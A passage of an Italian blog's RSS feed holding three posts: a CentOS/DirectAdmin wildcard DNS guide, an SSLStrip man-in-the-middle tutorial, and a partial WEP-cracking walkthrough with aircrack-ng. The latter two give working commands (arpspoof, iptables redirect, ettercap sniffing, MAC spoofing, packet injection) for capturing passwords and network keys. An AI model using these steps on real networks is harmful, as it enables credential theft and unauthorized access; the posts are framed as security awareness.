width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-19-150x150.png" class="attachment-thumbnail" alt="installare-centos-19" title="installare-centos-19" /></a></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Come attivare Wildcard su CentOS con DirectAdmin</title><link>http://www.arturu.it/blog/2011/07/08/come-attivare-wildcard-su-centos-con-directadmin/</link> <comments>http://www.arturu.it/blog/2011/07/08/come-attivare-wildcard-su-centos-con-directadmin/#comments</comments> <pubDate>Fri, 08 Jul 2011 11:14:33 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[CentOS]]></category> <category><![CDATA[DirectAdmin]]></category> <category><![CDATA[OpenSource]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=767</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a></p>Recentemente ho avuto la necessità di attivare le WildCard su un server che gestisco. Visto che non esistono guide in italiano ne pubblico una io per chi si dovesse trovare nella mia stessa situazione. Il procedimento non è complesso e [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a></p><p><a
rel="attachment wp-att-768" href="http://www.arturu.it/blog/2011/07/08/come-attivare-wildcard-su-centos-con-directadmin/centos-jpg/"><img
class="alignleft size-medium wp-image-768" title="CentOS" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/centOS.jpg-300x170.png" alt="" width="159" height="95" /></a>Recentemente ho avuto la necessità di attivare le WildCard su un server che gestisco. Visto che non esistono guide in italiano ne pubblico una io per chi si dovesse trovare nella mia stessa situazione. Il procedimento non è complesso e non richiede una conoscenza approfondita, ma ciò non toglie che quando si vanno a fare questo tipo di operazioni una conoscenza e una coscienza di quello che si sta facendo è obligatoria. <span
id="more-767"></span>Come prima cosa bisogna inserire un nuovo record DNS per il dominio che ci interessa:</p><pre><em>* A INDIRIZZO_IP_DEL_SERVER</em></pre><p>dove INDIRIZZO_IP_DEL_SERVER è l&#8217;indirizzo ip del server dove risiede il dominio su cui attivare le WildCard es:</p><pre><em>* A 8.8.8.8</em></pre><p>Ora dobbiamo modificare il file <em>httd.conf</em> di apache relativo ai virtualhost. <strong>ATTENZIONE</strong>: questo file non si trova in <em>/etc/httpd</em> ma è &#8220;linkato&#8221; da DirectAdmin in altra posizione. Questo file di configurazione lo possiamo  modificare manualmente o dall&#8217;interfaccia di DirectAdmin, ognuno  scelga il modo che preferisce.</p><h3>Modifica manuale</h3><p>Questo è il metodo che preferisco perché mi piace tenere sotto controllo tutto, e specialmente, non mi fido tanto delle interfaccie grafiche.</p><ol><li>Recarsi nella cartella <em>/usr/local/directadmin/data/users</em> ed entrare nella cartella dell&#8217;utente che ci interessa</li><li>Aprire il file httpd.conf</li><li>modificare la linea ServerAlias, relativa al dominio che ci interessa nel seguente modo</li><li><pre><em>ServerAlias *.il_tuo_dominio.tld</em></pre></li><li>Salvare e uscire.<em><br
/> </em></li></ol><h3>Modifica con interfaccia Grafica</h3><ol><li>Recarsi al <em>Livello Amministratore</em></li><li>Cliccare su <em>Configurazione HTTPD Personalizzata</em></li><li>Selezionare il dominio che ci interessa e aggiungere la seguente linea</li><li><pre><em>ServerAlias *.|DOMAIN|</em></pre></li></ol><h3>Applicazione delle modifiche</h3><p>Dopo questa operazione bisogna riavviare httpd e named. I domini di terzo livello attivati automaticamente con le WildCard saranno visibili dopo che il nuovo record DNS si sarà diffuso per la Rete. Tenere presente che se usate OpenDNS per la vostra connessione ci vogliono un paio d&#8217;ore prima che i domini di terzo livelli costruiti in automatico siano visibili, se usate la gestione dei DNS del vostro server la visibilità è immediata, invece, usando quelle dell&#8217;adsl (alice, tiscali, ecc.) ci vogliono fino a 72 ore dall&#8217;inserimento del record DNS.</p><p>Un consiglio per chi usa sftp per modificare i file, nautilus e gedit  hanno il vizio di cambiare user quando salvano i file, o meglio  impostano l&#8217;user di chi ha effettuato l&#8217;accesso, ma questo è un altro  discorso; tenete presente che se qualche servizio si blocca dopo aver  modificato un file con sftp, un chown può risolvere i problemi. In questo caso il proprietario del file appena modificato è 100 e come gruppo quello dell&#8217;utente a cui appartiene il dominio.</p><p>Saluti <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /></p><div
id="_mcePaste" class="mcePaste" style="position: absolute; left: -10000px; top: 120px; width: 1px; height: 1px; overflow: hidden;"><blockquote><ul><li> ed entrare nella cartella dell&#8217;utente che ci interessa</li></ul><ul><li>Aprire il file httpd.conf</li></ul><ul><li>modificare la linea ServerAlias nel seguente modo &#8220;<em>ServerAlias *.il_tuo_dominio.tld</em>&#8220;</li></ul></blockquote></div> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/07/08/come-attivare-wildcard-su-centos-con-directadmin/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Ssl strip</title><link>http://www.arturu.it/blog/2010/10/20/ssl-strip/</link> <comments>http://www.arturu.it/blog/2010/10/20/ssl-strip/#comments</comments> <pubDate>Wed, 20 Oct 2010 15:43:50 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[Vulnerabilità]]></category> <category><![CDATA[instantempo]]></category> <category><![CDATA[pacchetti]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[wireless]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=704</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p>Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All&#8217;interno di una [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p><p><img
class="alignleft" title="SSL" src="http://luxsci.com/images/icons/net_sec/128x128/shadow/lock_ok.gif" alt="Icona" width="128" height="128" />Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al <a
href="http://www.blackhat.com/" target="_blank">Black Hat</a> DC del 2009 che rientra nella categoria dei MITM (<a
href="http://it.wikipedia.org/wiki/Man_in_the_middle" target="_blank">Main in the middle</a>). All&#8217;interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell&#8217;attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell&#8217;attaccante diventa un &#8220;nodo invisibile&#8221; su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.</p><p><span
id="more-704"></span></p><h3>Configurazione di SSL Strip</h3><p>Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.</p><p>La prima operazione da fare è scaricare SSLStrip da: <a
href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz" target="_blank">http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz</a></p><p>Scompattare il pacchetto, utilizzare &#8220;tar -zxvf sslstrip-0.4.tar.gz&#8221; se si sta operando da terminale.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$</pre><p>Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con &#8220;python setup.py build&#8221; (è necessario avere installato l&#8217;interprete python)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -&gt; build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Successivamente bisogna installare tutto con il comando &#8220;sudo python setup.py install&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -&gt; /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Appena installato SSLStrip, bisogna procedere all&#8217;installazione di arpspoof. Arpspoof è un programma che fa credere ad  un host (computer della vittima) che l&#8217;indirizzo MAC dell&#8217;attaccante è l&#8217;indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all&#8217;attaccante tutto il suo traffico di rete; il  kernel dell&#8217;attaccante, ad eccezione per il traffico destinato alla  porta 80, reindirizza tutto a $ listenPort (10000, per esempio).</p><p>Installiamo arpspoof con il comando &#8220;sudo apt-get install dsniff&#8221; e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando &#8220;sudo apt-get install ettercap&#8221;.</p><p>Adesso che abbiamo installato tutto il software si può passare all&#8217;utilizzo.</p><h3>Utilizzo di SSLStrip</h3><p>Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all&#8217;interno della rete LAN, da terminale digitiamo &#8220;ifconfig&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull&#8217;interfaccia wireless, l&#8217;ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l&#8217;ho modificato perché non mi va di pubblicarlo).</p><p>Bisogna trovare l&#8217;indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale &#8221; ip route show | grep default | awk &#8216;{ print $3}&#8217; &#8220;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>in questo caso l&#8217;indirizzo del gateway è 10.10.100.254.<br
/> Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.<br
/> Nel primo tab eseguire &#8220;sudo arpspoof -t 10.10.100.2 10.10.100.254&#8243;, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00</pre><p>Nella seconda scheda eseguiamo il comando &#8220;iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-ports 1000&#8243;, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Subito dopo facciamo partire &#8220;sslstrip&#8221; e si lascia in esecuzione</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...</pre><p>Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando &#8220;sudo ettercap -Tqz&#8221;, aspettiamo che la nostra vittima digiti login e password su una connessione &#8220;sicura&#8221;, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR &amp; NaGA
Listening on wlan... (Wireless)
  wlan0 -&gt;	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help</pre><p>Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.</p><h3>Utilizzo di SSLStrip secondo la documentazione</h3><p>Secondo gli autori di SSLStrip l&#8217;utilizzo del tool dovrebbe essere il seguente:</p><ul><li>Flip your machine into forwarding mode. (echo &#8220;1&#8243; &gt; /proc/sys/net/ipv4/ip_forward)</li><li>Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t  nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-port  &lt;listenPort&gt;)</li><li>Run sslstrip. (sslstrip.py -l &lt;listenPort&gt;)</li><li>Run arpspoof to convince a network they should send their traffic  to you. (arpspoof -i &lt;interface&gt; -t &lt;targetIP&gt;  &lt;gatewayIP&gt;)</li></ul><p>In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.</p><p>Un articolo interessante si può leggere su: <a
href="http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html" target="_blank">http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html</a> ma ancora non ho avuto il tempo di provare.</p><h3>Funziona sempre?</h3><p>Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l&#8217;attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l&#8217;attacco non va a buon fine, ma l&#8217;utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l&#8217;utente può decidere di abbandonare la connessione (comunque se l&#8217;utente accetta il certificato viene restituita una pagina bianca), invece con Opera l&#8217;attacco va a buon fine.</p><h3>Soluzioni</h3><p>Per ora le soluzioni che mi sento di suggerire sono:</p><ul><li>Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;</li><li>Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);</li><li>Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX</li></ul><p>Saluti Arturu.it</p><p>PS Come tutti hanno capito non si trattava di un articolo che parla dello &#8220;Strip&#8221; Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l&#8217;articolo è finito&#8230; <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2010/10/20/ssl-strip/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Cracking di reti Wi-Fi</title><link>http://www.arturu.it/blog/2009/10/21/cracking-di-reti-wi-fi/</link> <comments>http://www.arturu.it/blog/2009/10/21/cracking-di-reti-wi-fi/#comments</comments> <pubDate>Wed, 21 Oct 2009 21:23:55 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[wi-fi]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=649</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p>Gli ultimi anni sono stati segnati da una diffusione significativa delle connessioni wi-fi sia in ambito domestico che lavorativo. In entrambi gli ambiti, tuttavia, troppo spesso si sottovalutano i rischi connessi alla sicurezza delle reti wireless; il più degli utenti, [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p><p><img
class="alignleft size-full wp-image-575" title="tux_scorpione" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux_scorpione.jpg" alt="tux_scorpione" width="100" height="100" />Gli ultimi anni sono stati segnati da una diffusione significativa delle <strong>connessioni wi-fi</strong> sia in ambito domestico che lavorativo. In entrambi gli ambiti, tuttavia, troppo spesso si sottovalutano i rischi connessi alla sicurezza delle reti wireless; il più degli utenti, infatti, ignora che il cracking di queste reti può essere davvero molto semplice e, fatto ancor più grave, può essere messo in pratica con successo anche da utenti poco esperti.</p><p>Questo breve articolo si propone di illustrare, anche attraverso esempi pratici, le tecniche di cracking più comuni al fine di consentire al lettore di adottare le opportune contromisure necessarie a mettere in sicurezza la propria rete senza fili.<br
/> <span
id="more-649"></span><br
/> <strong>Reti WEP e WPA</strong></p><p>Attualmente la quasi totalità delle reti wi-fi è protetta mediante gli standard WEP e WPA-PSK.<br
/> Il <strong>WEP</strong> (Wired Equivalent Privacy) è uno standard basato sull&#8217;algoritmo di cifratura dei dati RC4, il quale ha il vantaggio di essere molto veloce ma poco sicuro: nella particolare implementazione utilizzata, infatti, sono stati riscontrati difetti gravissimi che permettono il calcolo della chiave di rete a partire da dati ottenuti dall&#8217;analisi del traffico criptato.<br
/> Il <strong>WPA-PSK</strong> (Wi-Fi Protected Access / Pre Shared Keys) è un protocollo creato per tamponare il problema scaturito dal fallimento del WEP. Utilizza chiavi di criptazione dinamiche a 128 bit e combina la chiave in uso con un vettore di inizializzazione (IVS). Le chiavi variano dinamicamente e la stessa non compare mai due volte consecutive.<br
/> <strong>WPA2-AES</strong> è l&#8217;evoluzione dei protocolli precedenti, più robusto dei due sistemi appena trattati.</p><p><strong>La suite Aircrack-ng</strong></p><p>Per gli esempi pratici di questo articolo useremo la nota suite per l&#8217;auditing di reti wireless <em>Aircrack-ng</em> su sistema operativo Linux (è possibile, anche se più problematico, utilizzare la suite anche su sistemi Windows).<br
/> Aircrack-ng offre all&#8217;utilizzatore un <em>packet sniffer</em> e una serie di tool di analisi che possono essere impiegati con qualsiasi scheda wireless munita di supporto per il <em>monitor mode</em>.</p><p>Dopo aver effettuato il download dal sito ufficiale dovremo procedere all&#8217;installazione; per farlo si consiglia di seguire le istruzioni presenti sul sito dell&#8217;autore; se avete Ubuntu ve la caverete con l&#8217;istruzione:</p><blockquote><pre>$ sudo apt-get install aircrack-ng</pre></blockquote><p><strong>Il Monitor Mode</strong></p><p>Le schede di rete funzionano normalmente in una modalità che legge in prima istanza il <strong>MAC Address</strong> del pacchetto catturato e lo scarta automaticamente se non è indirizzato nostro host. Per i nostri fini è invece necessario poter catturare tutto il traffico &#8220;circolante&#8221;.<br
/> La modalità <strong>Monitor</strong> permette la ricezione del pacchetto anche nel caso in cui il nostro host non sia associato con l&#8217;access point o il terminale che lo ha generato.<br
/> Per impostare la scheda di rete nella modalità Monitor, si utilizzano comunemente le seguenti istruzioni:</p><blockquote><pre>$ su
# airmon-ng stop &lt;interfaccia&gt;
# airmon-ng start &lt;interfaccia&gt;</pre></blockquote><p
align="center"><img
src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/airmon.png" border="0" alt="" /></p><p>Per verificare se il <strong>Monitor Mode</strong> sia stato attivato correttamente sarà sufficiente lanciare il comando:</p><blockquote><pre># iwconfig</pre></blockquote><p>e leggere il valore del campo Mode dall&#8217;output del comando.</p><p
align="center"><img
src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/monitor.png" border="0" alt="" /></p><p><strong>Sniffing dei pacchetti</strong></p><p>Si definisce &#8220;sniffing&#8221; l&#8217;attività di intercettazione passiva dei dati che transitano in una rete telematica. Lo sniffing, in pratica, non è altro che la cattura dei pacchetti in transito su una rete.<br
/> Per visualizzare l&#8217;elenco delle reti sotto monitoraggio è sufficiente lanciare il comando</p><blockquote><pre># airodump-ng &lt;interfaccia&gt;</pre></blockquote><p>Lanciato senza altri parametri il comando citato non salva i pacchetti ricevuti da nessuna parte ma si limita a fare <em>polling</em> tra tutti i canali alla ricerca del massimo numero di reti possibile (il polling consiste nel provare a connettersi su tutti i canali ad intervalli regolari di tempo).</p><p
align="center"><img
src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/airodump.png" border="0" alt="" /></p><p>Questa fase, generalmente, percede lo sniffing vero e proprio; in questa fase preliminare, in sostanza, si &#8220;sceglie la vittima&#8221; dell&#8217;attacco. Per farlo sarà innanzituitto necessario appuntarsi alcune informazioni sulla rete individuata:</p><ul><li>BSSID</li><li>ESSID</li><li><a
id="ed_Id_1" style="border-bottom: medium none; text-decoration: underline; color: #009900; cursor: pointer;">Channel</a> (<a
id="ed_Id_2" style="border-bottom: medium none; text-decoration: underline; color: #009900; cursor: pointer;">canale</a>)</li><li>SSID del/dei client/s</li></ul><p>Fatto questo sarà possibile lanciare il comando che avvia lo sniffing vero e proprio e salva su file il traffico catturato:</p><blockquote><pre># airodump-ng -c &lt;<a id="ed_Id_3" style="border-bottom: medium none; text-decoration: underline; color: #009900; cursor: pointer;">canale</a>&gt; -b &lt;BSSID&gt; -w &lt;filedicattura.ivs&gt; &lt;interfaccia&gt;</pre></blockquote><p>A questo punto, a seconda del tipo di protezione che difende la rete-obiettivo si può agire con tecniche differenti.<br
/> In certi casi, a dire il vero non frequentissimi, gli access point si proteggono da attacchi esterni tramite il <strong>MAC filtering</strong>, che consiste nell&#8217;accettare connessioni soltanto dagli host il cui indirizzo sia presente in una lista dedicata (whitelist).<br
/> Sfruttando il fatto che almeno il MAC address dell&#8217;utente proprietario della rete sia presente in whitelist si può tentare di attaccare questo sistema facendo <strong>MAC Spoofing</strong>, ovvero cambiando con una riga di comando il proprio MAC Address con quello del proprietario della rete, che può essere ricavato ad esempio dalla lista delle connessioni tracciate da airodump.<br
/> I seguenti comandi cambiano il proprio indirizzo MAC con quello inserito come argomento:</p><blockquote><pre># ifconfig &lt;interfaccia&gt; down
# ifconfig &lt;interfaccia&gt; hw ether &lt;nuovo_mac&gt;
# ifconfig &lt;interfaccia&gt; up</pre></blockquote><p><strong>Cracking WEP</strong></p><p>Come già accennato il WEP ha un difetto di implementazione che lo rende vulnerabile ad un attacco basato su un semplice calcolo statistico: qualora si sia intercettata una quantità sufficiente di traffico l&#8217;attacco ha percentuali di riuscita vicine al 99%.</p><p>Se il nostro obiettivo è bucare (o meglio testare) una rete protetta con WEP, il primo passo da compiere è, quindi, quello di catturare un adeguato numero di pacchetti nel più breve tempo possibile. Per farlo una comune attività di sniffing potrebbe essere sufficiente.<br
/> Qualora si desideri velocizzare l&#8217;operazione è possibile utilizzare in combinazione tecniche di <strong>fake association</strong> e <strong>packet injection</strong>: con la prima tecnica si crea un&#8217;associazione fittizia con l&#8217;access point vittima mentre con la seconda si fa in modo che nella rete circolino un gran numero di pacchetti.<br
/> In questo modo sarà sufficiente pochissimo tempo per raccogliere il nostro bottino.</p><p>Il comando che mette in pratica quanto appena descritto è aireplay-ng, lanciato coi parametri indicati:</p><p>1) Per la &#8220;Fake Association&#8221;</p><blockquote><pre># aireplay-ng -1 0 -e &lt;ESSID&gt; -a &lt;BSSID&gt; -h &lt;mio_mac&gt; &lt;interfaccia&gt;</pre></blockquote><p>2) Per il &#8220;Packet Injection&#8221;</p><blockquote><pre># aireplay-ng -3 -b &lt;BSSID&gt; -h &lt;mio_mac&gt; &lt;interfaccia&gt;</pre></blockquote><p>Al termine delle operazioni lanciamo il comando:</p><blockquote><pre># aircrack-ng &lt;filedicattura.ivs&gt;</pre></blockquote><p>&#8230;ed attendiamo il responso.</p><p
align="center"><img
